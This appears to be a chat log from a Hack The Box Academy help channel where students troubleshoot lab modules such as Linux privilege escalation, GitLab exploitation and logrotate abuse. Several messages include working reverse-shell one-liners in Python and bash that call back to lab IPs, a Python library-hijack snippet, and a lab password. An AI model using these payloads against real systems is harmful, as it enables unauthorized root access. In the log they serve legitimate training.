but i understand what you're saying, i've been stuck on this for quite a while, maybe i should try just going forward ig

[zinc marsh]

It means what it means lol

[zinc marsh]

.

[pastel lance]

Flags are in the format HTB{fl4g_g03s_h3r3}

You can do it manually using tools like grep, or rg

[fringe shell]

anyone done the XSS or SQL Injection Fundamentals? The firefox browser and chromium from burpsuite in Kali seem to hang indefinitely when sending a payload.

Interestingly, visiting the website from firefox on my host and using the same payload works fine and I instantly get the response.

[idle basalt]

Hi guys, I have a problem with the Windows Fundamentals module. I try to mount the shared directory that I had to create and share from the Windows machine, but using the command (and so editing the part of it that are supposed to be edited), I get this error :

mount: /home/htb-ac-52628/Desktop: mount(2) system call failed: Operation now in progress.

I'm using the following command :

sudo mount -t cifs -o username=htb-student,password=Academy_WinFun! //IPWindows/"Company Data" /home/htb-ac-52628/Desktop/

(with IPWindows the IP of the Windows machine)

Do you guys know what I did wrong (ping me) ? All good.

[red current]

I have a question in the Linux Privilege Escalation module. It's the Path Abuse section. The question asks "Review the PATH of the htb-student user. What non-default directory is part of the user's PATH?" I'm not sure what they mean by the "non-default directory" here or what we're supposed to do to find it?

[sick frost]

Hello guys, I'm currently in passwords module and working on Credential hunting on linux chapter. In hint it gave me password and username I tried to login with it but they seems to be wrong, in the forum someone mentioned to run custom.rule on it. Even though I run it I didn't find any valid password at all. Am I missing something. It'd be very helpful if you can give me a nudge.

[clear lion]

DM u

[pastel lance]

Check the path of the htb-student and compare it against another user or look up what the default path is for a user on Linux

[red current]

Thank you. I was able to figure it out with some help.

[earnest ginkgo]

Hi, is there a way to contact authors of a module pls ?

[fringe shell]

You can use #858470491676737536 to submit corrections to a module

[magic dune]

So I am on Getting Started and the Types of Shells sections. I barely understand anything at first glance and i know i wont get it right off the bat. But should i be doing other ones first? or is this good for starting off?

[sick frost]

I would say it will be a bit confusing while you're reading it but once you start doing the exercises you'll clearly understand them.

watch some yt videos for more clarification if needed

[tender shuttle]

Module: Attacking Common Applications
Section: Attacking GitLab
Question: gain remote code execution on the GitLab instance? Submit the flag in the directory you land in.
Here, I found a user named D*** using the gitlab_userenum script. I have used the exploit mentioned in the module, but I am unable to achieve any RCE. The authentication is failing when i run the exploit. Could it be because I need a working password or a different user? I have been trying to make it work since yesterday. Can someone please help me? --------------------------------SOLVED------------------------------

[cold kernel]

Hello I want to learn hacking

[rough oasis]

hi

bye

[marsh herald]

ok?

[novel matrix]

https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[cold kernel]

How much time does it takes to become a hacker

[analog dock]

Couple of weeks and you’re good to go

[vivid igloo]

am not able to run this as sudo :sudo /usr/bin/python3 mem_status.py
[sudo] password for htb-student:
Sorry, user htb-student is not allowed to execute '/usr/bin/python3 mem_status.py' as root on ubuntu.

sudo -l
Matching Defaults entries for htb-student on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User htb-student may run the following commands on ubuntu:
(ALL) NOPASSWD: /usr/bin/python3 /home/htb-student/mem_status.py
htb-student@ubuntu:~$

EVEN tho it's shown (ALL) NOPASSWD: /usr/bin/python3 /home/htb-student/mem_status.py

[novel matrix]

check and see what perms are on the file

[vivid igloo]

-rw-rwxr-x 1 htb-student htb-student 327 Jun 23 08:16 mem_stats.py

[vivid igloo]

sudo python3 mem_stats.py
[sudo] password for htb-student:
Sorry, user htb-student is not allowed to execute '/usr/bin/python3 mem_stats.py' as root on ubuntu.

[novel matrix]

There is your answer. I'll let you figure out the rest

[vivid igloo]

#!/usr/bin/env python3
import psutil

available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total

print(f"Available memory: {round(available_memory, 2)}%")

import socket,os,pty;s=socket.socket();s.connect(("10.129.205.114",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")

wdym

[vivid igloo]

nowait wait

it's not running it even tho it should've let me run it without password

am stucckk

[analog dock]

What are you doing

Module

And what is your objective

[vivid igloo]

https://academy.hackthebox.com/module/51/section/1640

[analog dock]

Name of module and section, not a link

[vivid igloo]

linux privilige escalation :Python Library Hijacking

i added this :Module Contents - Hijacking
Code: python
...SNIP...

def virtual_memory():

...SNIP...
#### Hijacking
import os
os.system('id')


global _TOTAL_PHYMEM
ret = _psplatform.virtual_memory()
# cached for later use in Process.memory_percent()
_TOTAL_PHYMEM = ret.total
return ret

but still : sudo /usr/bin/python3 ./mem_status.py
[sudo] password for htb-student:
Sorry, user htb-student is not allowed to execute '/usr/bin/python3 ./mem_status.py' as root on ubuntu.

[analog dock]

Can you chmod 777 mem status?

[vivid igloo]

on it

not working

[analog dock]

What does it say?

[vivid igloo]

it schanged the permissions but still didn't run as sudo

[fiery berry]

you need to give the full path

[vivid igloo]

i tried

sudo /usr/bin/python3 /home/htb-student/mem_stats.py

sudo /usr/bin/python3 /home/htb-student/mem_stats.py
[sudo] password for htb-student:

it's asking for the pass

waitt

i figured

[fiery berry]

for me it's working just fine, it's not asking for the password

[analog dock]

It works now?

[bronze axle]

Hi, I have a problem with this module https://academy.hackthebox.com/module/176/section/1779

[vivid igloo]

just ran it as sudo :sudo /usr/bin/python3 /home/htb-student/mem_status.py
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
File "/home/htb-student/mem_status.py", line 4, in <module>
available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total
AttributeError: 'NoneType' object has no attribute 'available'

[vivid igloo]

so like if iadd :import socket,os,pty;s=socket.socket();s.connect(("<local-ip>",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")
is it going to give me root shell

[vivid igloo]

ayo another thing

create our own psutil module containing our own malicious virtual_memory() function within the /usr/lib/python3.8 directory.

but it's not letting me crete a psutil.py file

*create

[fiery berry]

did you list the directory permissions?

[vivid igloo]

yess sir

it says root usr only

wait

what

oh yeah give me a sec

drwxr-xr-x 30 root root

[fiery berry]

I don't think you can't write anything in that folder unless the "others" have a writable bit set

[vivid igloo]

so how am isuppose to Hijacked Module Contents

[fiery berry]

read the section module, I'm not on it now

[vivid igloo]

it's telling me to create create your own psutil module containing our own malicious virtual_memory() function within the /usr/lib/python3.8 directory.

[fiery berry]

did you check if you can modify the env variable?

[vivid igloo]

just founda a folder where we do have permissions

[fiery berry]

I guess even the user folder can do the job

[vivid igloo]

u sure ??

[fiery berry]

why not? You have permission to write

[vivid igloo]

yes

ugh : sudo PYTHONPATH=/tmp/ /usr/bin/python3 /home/htb-student/mem_status.py
sudo: sorry, you are not allowed to set the following environment variables: PYTHONPATH

[vivid igloo]

!

[fiery berry]

That was in case you could change the env variable so you could write the ".py" file there

[vivid igloo]

hey another thing

if iam able to run this as sudo it means i can add this import socket code and get the root connection can i ?

[vivid igloo]

got it baby htb-student@ubuntu:~$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.205.114 59106
root@ubuntu:/home/htb-student#

@fiery berry thanks bud

[rustic sage]

sa

[flat minnow]

I am stuck at the skills Assessment of File Upload attacks.
Try to exploit the upload form to read the flag found at the root directory "/". https://academy.hackthebox.com/module/136/section/1310
I have found the source code of php file with XXE attacks and everything in general, but I can't bypass mime type for my payload.
I tried prepending various bytes (like jpg, png) with no success. What am I missing here?

[zinc sentinel]

Tried changing the magic bytes? Feel free to pm what u have I'll nudge you

[vivid igloo]

hey

am a bit confused as they want me to escalate the privilege's with the help of sudo but it looks like i they dont have gcc install so how am i suppose to compile the exploit ?

[gentle lark]

Hi all! aynone has already solved the new update on linux privilege escalation about logrotation/logrotten? (https://academy.hackthebox.com/module/51/section/1589) I´m doing everithing as lesson describe, but i can not find any writtable log file to do the trick

[vivid igloo]

what prob u are facing ?

[gentle lark]

with logrotate:,
cat /etc/logrotate.conf - no result,
sudo cat /var/lib/logrotate/status (user is not sudoer, so permission denied)
ls /etc/logrotate.d/ -> show me info and i look deeper -> this 3 logs has root privileges:
-> /var/log/ubuntu-advantage*.log
-> /var/log/dpkg.log
-> /var/log/alternatives.log
find / -name *.log -ls 2>/dev/null | sort -n -> thiis show me 2 more insteresting log files under /home/htb-user/backup
but i don´t see rotation on them
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/home/htb-student/.gnupg/pubring.kbx
/home/htb-student/.gnupg/trustdb.gpg
/var/log/ubuntu-advantage-timer.log
/var/log/journal/49967d13a6e2400c9aa2ce8a2a217dbe/system.journal
/var/log/journal/49967d13a6e2400c9aa2ce8a2a217dbe/user-1000.journal
/var/log/syslog
/var/log/apport.log
/var/log/auth.log
/var/log/kern.log
/var/log/lastlog
/var/log/wtmp

when i use logrotten as described in lesson, it stuck waiting for rotation of the log, but logs never rotate and stuck witing

[vivid igloo]

use the default log

access.log

in the htb-user

[vivid igloo]

gotta use the metasploit lol

[gentle lark]

i tried with ~/backup/access.log, but stuck waiting for rotation

[vivid igloo]

yess

ok now

open the ssh session in another terminal

and then echo hi >> ~/backup/access.log

and dont forget to keep the rotation

running

[gentle lark]

Thanks for helping! I´m going to try now.

[vivid igloo]

np let me know if u need any help

[dense pecan]

hi. i need help in WINDOWS EVENT LOGS & FINDING EVIL Module in the Get-WinEvent part. i stuck at the first questions and i can realy use some clue

[vivid igloo]

can u send me the link

[dense pecan]

https://academy.hackthebox.com/module/216/section/2322#questionsDiv

[vivid igloo]

never even touched that module

[dense pecan]

thanks anyway

[rustic sage]

Hello im in PIVOTING, TUNNELING, AND PORT FORWARDING --> RDP and SOCKS Tunneling with SocksOverRDP and im tryng to put dll libraries in the machine but i have a error

please could somebody give me help?

[zinc sentinel]

Is it auto deleting the dll?

[rustic sage]

YES

[gentle lark]

rotate works, but not opening session

[zinc sentinel]

Consider why this is happening some type of protection is still on?

[gentle lark]

i tried command on independent session, and command works well:

this command, but with my actual vpn ip: echo 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' > payload

[rustic sage]

Okay, thank u

[rustic sage]

i solve it but in the module doesnt tell nothing i will report the inciden

[zinc sentinel]

It's a fairly common problem iv seen run into, including myself but I figure it's part of teaching out of the box thinking

[vivid igloo]

try to echo the same thing in the access.log